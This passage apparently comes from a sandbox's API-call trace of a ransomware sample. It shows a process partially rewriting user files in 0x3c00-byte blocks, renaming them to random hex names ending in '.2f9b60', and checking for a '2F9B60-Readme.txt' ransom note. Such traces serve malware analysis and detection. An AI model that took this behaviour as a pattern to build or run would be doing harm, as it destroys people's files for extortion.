dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0103.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0103.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0103.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202623f0) returned 1 [0103.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f1b4e0 [0103.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0103.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0103.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611f0) returned 1 [0103.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0103.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0103.171] WriteFile (in: hFile=0x175c, lpBuffer=0x41f1b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f32fb80, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesWritten=0x2f32fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0103.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0103.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f178d0) returned 1 [0103.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f630 [0103.409] SetFilePointerEx (in: hFile=0x175c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.409] WriteFile (in: hFile=0x175c, lpBuffer=0x1b86f540*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2f32fc30, lpOverlapped=0x0 | out: lpBuffer=0x1b86f540*, lpNumberOfBytesWritten=0x2f32fc30*=0x11a, lpOverlapped=0x0) returned 1 [0103.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503c10 [0103.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0103.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f60) returned 1 [0103.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20262f60 [0103.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0103.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631d0 [0103.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202631d0) returned 1 [0103.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c10) returned 1 [0103.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd867f0 [0103.836] sprintf (in: _Dest=0x1cd867f0, _Format="%c%c" | out: _Dest="a3") returned 2 [0103.836] sprintf (in: _Dest=0x1cd867f2, _Format="%c%c" | out: _Dest="65") returned 2 [0103.836] sprintf (in: _Dest=0x1cd867f4, _Format="%c%c" | out: _Dest="74") returned 2 [0103.836] sprintf (in: _Dest=0x1cd867f6, _Format="%c%c" | out: _Dest="df") returned 2 [0103.836] sprintf (in: _Dest=0x1cd867f8, _Format="%c%c" | out: _Dest="c1") returned 2 [0103.836] sprintf (in: _Dest=0x1cd867fa, _Format="%c%c" | out: _Dest="61") returned 2 [0103.836] sprintf (in: _Dest=0x1cd867fc, _Format="%c%c" | out: _Dest="2c") returned 2 [0103.836] sprintf (in: _Dest=0x1cd867fe, _Format="%c%c" | out: _Dest="6f") returned 2 [0103.836] sprintf (in: _Dest=0x1cd86800, _Format="%c%c" | out: _Dest="6f") returned 2 [0103.836] sprintf (in: _Dest=0x1cd86802, _Format="%c%c" | out: _Dest="47") returned 2 [0103.836] sprintf (in: _Dest=0x1cd86804, _Format="%c%c" | out: _Dest="28") returned 2 [0103.836] sprintf (in: _Dest=0x1cd86806, _Format="%c%c" | out: _Dest="49") returned 2 [0103.836] sprintf (in: _Dest=0x1cd86808, _Format="%c%c" | out: _Dest="77") returned 2 [0103.836] sprintf (in: _Dest=0x1cd8680a, _Format="%c%c" | out: _Dest="ca") returned 2 [0103.836] sprintf (in: _Dest=0x1cd8680c, _Format="%c%c" | out: _Dest="12") returned 2 [0103.836] sprintf (in: _Dest=0x1cd8680e, _Format="%c%c" | out: _Dest="8d") returned 2 [0103.836] sprintf (in: _Dest=0x1cd86810, _Format="%c%c" | out: _Dest="df") returned 2 [0103.836] sprintf (in: _Dest=0x1cd86812, _Format="%c%c" | out: _Dest="56") returned 2 [0103.836] sprintf (in: _Dest=0x1cd86814, _Format="%c%c" | out: _Dest="24") returned 2 [0103.837] sprintf (in: _Dest=0x1cd86816, _Format="%c%c" | out: _Dest="ad") returned 2 [0103.837] sprintf (in: _Dest=0x1cd86818, _Format="%c%c" | out: _Dest="1d") returned 2 [0103.837] sprintf (in: _Dest=0x1cd8681a, _Format="%c%c" | out: _Dest="b2") returned 2 [0103.837] sprintf (in: _Dest=0x1cd8681c, _Format="%c%c" | out: _Dest="40") returned 2 [0103.837] sprintf (in: _Dest=0x1cd8681e, _Format="%c%c" | out: _Dest="41") returned 2 [0103.837] sprintf (in: _Dest=0x1cd86820, _Format="%c%c" | out: _Dest="a8") returned 2 [0103.837] sprintf (in: _Dest=0x1cd86822, _Format="%c%c" | out: _Dest="97") returned 2 [0103.837] sprintf (in: _Dest=0x1cd86824, _Format="%c%c" | out: _Dest="a6") returned 2 [0103.837] sprintf (in: _Dest=0x1cd86826, _Format="%c%c" | out: _Dest="af") returned 2 [0103.837] sprintf (in: _Dest=0x1cd86828, _Format="%c%c" | out: _Dest="ef") returned 2 [0103.837] sprintf (in: _Dest=0x1cd8682a, _Format="%c%c" | out: _Dest="69") returned 2 [0103.837] sprintf (in: _Dest=0x1cd8682c, _Format="%c%c" | out: _Dest="48") returned 2 [0103.837] sprintf (in: _Dest=0x1cd8682e, _Format="%c%c" | out: _Dest="1f") returned 2 [0103.837] sprintf (in: _Dest=0x1cd86830, _Format="%c%c" | out: _Dest="37") returned 2 [0103.837] sprintf (in: _Dest=0x1cd86832, _Format="%c%c" | out: _Dest="b5") returned 2 [0103.837] sprintf (in: _Dest=0x1cd86834, _Format="%c%c" | out: _Dest="e2") returned 2 [0103.837] sprintf (in: _Dest=0x1cd86836, _Format="%c%c" | out: _Dest="5a") returned 2 [0103.837] sprintf (in: _Dest=0x1cd86838, _Format="%c%c" | out: _Dest="b9") returned 2 [0103.837] sprintf (in: _Dest=0x1cd8683a, _Format="%c%c" | out: _Dest="56") returned 2 [0103.837] sprintf (in: _Dest=0x1cd8683c, _Format="%c%c" | out: _Dest="4c") returned 2 [0103.837] sprintf (in: _Dest=0x1cd8683e, _Format="%c%c" | out: _Dest="2e") returned 2 [0103.837] RtlInitAnsiString (in: DestinationString=0x2f32fca8, SourceString="a36574dfc1612c6f6f47284977ca128ddf5624ad1db24041a897a6afef69481f37b5e25ab9564c2e" | out: DestinationString="a36574dfc1612c6f6f47284977ca128ddf5624ad1db24041a897a6afef69481f37b5e25ab9564c2e") [0103.837] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f32fc78, SourceString="a36574dfc1612c6f6f47284977ca128ddf5624ad1db24041a897a6afef69481f37b5e25ab9564c2e", AllocateDestinationString=1 | out: DestinationString="a36574dfc1612c6f6f47284977ca128ddf5624ad1db24041a897a6afef69481f37b5e25ab9564c2e") returned 0x0 [0103.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050d580 [0103.838] wcscat (in: _Dest=0x4205dc30, _Source="a36574dfc1612c6f6f47" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\a36574dfc1612c6f6f47") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\a36574dfc1612c6f6f47" [0103.838] wcscat (in: _Dest=0x4205dc30, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\a36574dfc1612c6f6f47.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\a36574dfc1612c6f6f47.2f9b60" [0103.838] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\a36574dfc1612c6f6f47.2f9b60", NtPathName=0x2f32fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\a36574dfc1612c6f6f47.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20278e30 [0104.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278e30) returned 1 [0104.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052970) returned 1 [0104.412] NtQueryInformationFile (in: FileHandle=0x175c, IoStatusBlock=0x2f32fcb8, FileInformation=0x2f32fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f32fcb8, FileInformation=0x2f32fcc8) returned 0x0 [0104.413] NtSetInformationFile (FileHandle=0x175c, IoStatusBlock=0x2f32fcb8, FileInformation=0x2f32fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dc30) returned 1 [0104.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d580) returned 1 [0104.418] FlushFileBuffers (hFile=0x175c) returned 1 [0104.422] CloseHandle (hObject=0x175c) returned 1 [0104.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050a1d0 [0104.423] wcscpy (in: _Dest=0x2050a1d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.423] wcscat (in: _Dest=0x2050a1d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.423] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a1d0) returned 1 [0104.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4e30) returned 1 Thread: id = 940 os_tid = 0x1558 [0101.235] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ov1S93zQN.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ov1s93zqn.flv")) returned 0x2020 [0101.236] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ov1S93zQN.flv", dwFileAttributes=0x20) returned 1 [0103.136] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ov1S93zQN.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ov1s93zqn.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1758 [0103.136] GetFileSizeEx (in: hFile=0x1758, lpFileSize=0x2f64f6e0 | out: lpFileSize=0x2f64f6e0*=88039) returned 1 [0103.137] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x157e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.137] ReadFile (in: hFile=0x1758, lpBuffer=0x2f64f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f64f6a8, lpOverlapped=0x0 | out: lpBuffer=0x2f64f660*, lpNumberOfBytesRead=0x2f64f6a8*=0x4, lpOverlapped=0x0) returned 1 [0103.138] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0103.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0103.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0103.138] NtQuerySystemTime (in: CurrentTime=0x2f64f5a0 | out: CurrentTime=0x2f64f5a0*=132462177086458000) returned 0x0 [0103.138] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x643c5d01 [0103.138] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x318dc1a2 [0103.138] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x20c0d29 [0103.138] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0xbd96f9a [0103.138] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x2ab626ee [0103.138] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x135d458f [0103.138] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x4b59fc31 [0103.138] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x63662141 [0103.138] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x763b25a8 [0103.138] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x7ccb2e23 [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x5d73e9a6 [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x5b2712e1 [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x4ab641bc [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x34e0e37d [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x224c9dd2 [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x294e2e04 [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x10b13205 [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x47193fc8 [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x28c2dac6 [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x7a58d281 [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x20ff3bcc [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x538c3d61 [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x7458cf39 [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0xede9f24 [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x5981ba75 [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x2e95079d [0103.139] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x1e953cbd [0103.140] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x3e1e7c39 [0103.140] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x15e5a10c [0103.140] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x1880c376 [0103.140] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x3b44332b [0103.140] RtlRandomEx (in: Seed=0x2f64f590 | out: Seed=0x2f64f590) returned 0x407a50fd [0103.152] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.152] ReadFile (in: hFile=0x1758, lpBuffer=0x41f8c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f64f600, lpOverlapped=0x0 | out: lpBuffer=0x41f8c1b0*, lpNumberOfBytesRead=0x2f64f600*=0x3c00, lpOverlapped=0x0) returned 1 [0103.152] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0103.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0103.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0103.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263dd0) returned 1 [0103.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f13cc0 [0103.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0103.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0103.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202623f0) returned 1 [0103.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0103.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0103.154] WriteFile (in: hFile=0x1758, lpBuffer=0x41f13cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f64f600, lpOverlapped=0x0 | out: lpBuffer=0x41f13cc0*, lpNumberOfBytesWritten=0x2f64f600*=0x3c00, lpOverlapped=0x0) returned 1 [0103.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f13cc0) returned 1 [0103.412] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.412] ReadFile (in: hFile=0x1758, lpBuffer=0x41f8c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f64f600, lpOverlapped=0x0 | out: lpBuffer=0x41f8c1b0*, lpNumberOfBytesRead=0x2f64f600*=0x3c00, lpOverlapped=0x0) returned 1 [0103.412] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0103.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0103.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0103.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263740) returned 1 [0103.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f13cc0 [0103.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0103.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c90 [0103.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c90) returned 1 [0103.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0103.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0103.413] WriteFile (in: hFile=0x1758, lpBuffer=0x41f13cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f64f600, lpOverlapped=0x0 | out: lpBuffer=0x41f13cc0*, lpNumberOfBytesWritten=0x2f64f600*=0x3c00, lpOverlapped=0x0) returned 1 [0103.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f13cc0) returned 1 [0103.418] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x11be7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.418] ReadFile (in: hFile=0x1758, lpBuffer=0x41f8c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f64f600, lpOverlapped=0x0 | out: lpBuffer=0x41f8c1b0*, lpNumberOfBytesRead=0x2f64f600*=0x3c00, lpOverlapped=0x0) returned 1 [0103.418] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x11be7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0103.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0103.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b770 [0103.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b770) returned 1 [0103.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f13cc0 [0103.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b770 [0103.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b7a0 [0103.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b7a0) returned 1 [0103.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0103.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0103.419] WriteFile (in: hFile=0x1758, lpBuffer=0x41f13cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f64f600, lpOverlapped=0x0 | out: lpBuffer=0x41f13cc0*, lpNumberOfBytesWritten=0x2f64f600*=0x3c00, lpOverlapped=0x0) returned 1 [0103.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f13cc0) returned 1 [0103.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced5b70 [0103.423] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.423] WriteFile (in: hFile=0x1758, lpBuffer=0x133760*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x2f64f6b0, lpOverlapped=0x0 | out: lpBuffer=0x133760*, lpNumberOfBytesWritten=0x2f64f6b0*=0x14c, lpOverlapped=0x0) returned 1 [0103.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503c10 [0103.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623c0 [0103.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202623c0) returned 1 [0103.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202623c0 [0103.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262180 [0103.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0103.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e80) returned 1 [0103.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c10) returned 1 [0103.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f630 [0103.846] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="8d") returned 2 [0103.846] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="21") returned 2 [0103.846] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="5f") returned 2 [0103.846] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="f1") returned 2 [0103.846] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="11") returned 2 [0103.846] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="9c") returned 2 [0103.846] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="6f") returned 2 [0103.846] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="5c") returned 2 [0103.846] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="62") returned 2 [0103.846] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="ca") returned 2 [0103.846] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="21") returned 2 [0103.846] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="d4") returned 2 [0103.847] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="c2") returned 2 [0103.847] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="77") returned 2 [0103.847] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="f2") returned 2 [0103.847] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="a0") returned 2 [0103.847] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="fc") returned 2 [0103.847] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="e4") returned 2 [0103.847] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="0d") returned 2 [0103.847] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="37") returned 2 [0103.847] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="8c") returned 2 [0103.847] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="e8") returned 2 [0103.847] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="48") returned 2 [0103.847] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="00") returned 2 [0103.847] sprintf (in: _Dest=0x1cd9f660, _Format="%c%c" | out: _Dest="1e") returned 2 [0103.847] sprintf (in: _Dest=0x1cd9f662, _Format="%c%c" | out: _Dest="dd") returned 2 [0103.847] RtlInitAnsiString (in: DestinationString=0x2f64f728, SourceString="8d215ff1119c6f5c62ca21d4c277f2a0fce40d378ce848001edd" | out: DestinationString="8d215ff1119c6f5c62ca21d4c277f2a0fce40d378ce848001edd") [0103.847] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f64f6f8, SourceString="8d215ff1119c6f5c62ca21d4c277f2a0fce40d378ce848001edd", AllocateDestinationString=1 | out: DestinationString="8d215ff1119c6f5c62ca21d4c277f2a0fce40d378ce848001edd") returned 0x0 [0103.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20503c90 [0103.847] wcscat (in: _Dest=0x2050a2f0, _Source="8d215ff1119c6" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8d215ff1119c6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8d215ff1119c6" [0103.847] wcscat (in: _Dest=0x2050a2f0, _Source=".2f9b60" | out: 